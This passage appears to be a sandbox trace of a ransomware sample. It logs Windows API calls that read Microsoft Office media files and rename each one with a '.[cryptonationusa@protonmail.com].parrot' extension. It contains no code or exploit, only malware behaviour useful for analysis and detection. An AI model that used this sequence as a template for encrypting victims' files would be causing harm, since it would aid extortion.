liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.711] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.711] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.712] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.712] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb21e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb21e, lpOverlapped=0x0) returned 1 [0162.716] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0162.721] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.721] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.723] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.723] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x76ea, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x76ea, lpOverlapped=0x0) returned 1 [0162.726] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.727] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.732] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.732] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.733] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.733] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7148, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7148, lpOverlapped=0x0) returned 1 [0162.737] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.741] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.741] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.743] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.743] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20ce, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x20ce, lpOverlapped=0x0) returned 1 [0162.745] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.751] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.751] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.752] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.752] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x998, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x998, lpOverlapped=0x0) returned 1 [0162.752] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.753] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.756] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.756] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.759] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.759] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5ba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5ba, lpOverlapped=0x0) returned 1 [0162.759] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0162.766] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.766] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.767] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.767] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x766, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x766, lpOverlapped=0x0) returned 1 [0162.768] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.771] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.771] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.824] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.824] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x78a, lpOverlapped=0x0) returned 1 [0162.825] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.830] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.830] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.832] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.832] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x88e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x88e, lpOverlapped=0x0) returned 1 [0162.832] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.836] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.836] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.838] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.838] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x92c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x92c, lpOverlapped=0x0) returned 1 [0162.838] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.839] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.841] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.841] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.841] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.843] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.843] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.845] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.845] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15ea, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15ea, lpOverlapped=0x0) returned 1 [0162.846] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.846] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.851] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.851] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.852] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.852] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x812, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x812, lpOverlapped=0x0) returned 1 [0162.853] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.853] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.856] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.856] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.857] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.858] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29e5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x29e5, lpOverlapped=0x0) returned 1 [0162.860] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.863] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.863] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.873] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.873] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd52, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd52, lpOverlapped=0x0) returned 1 [0162.876] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.878] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0162.882] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.882] ReadFile (in: 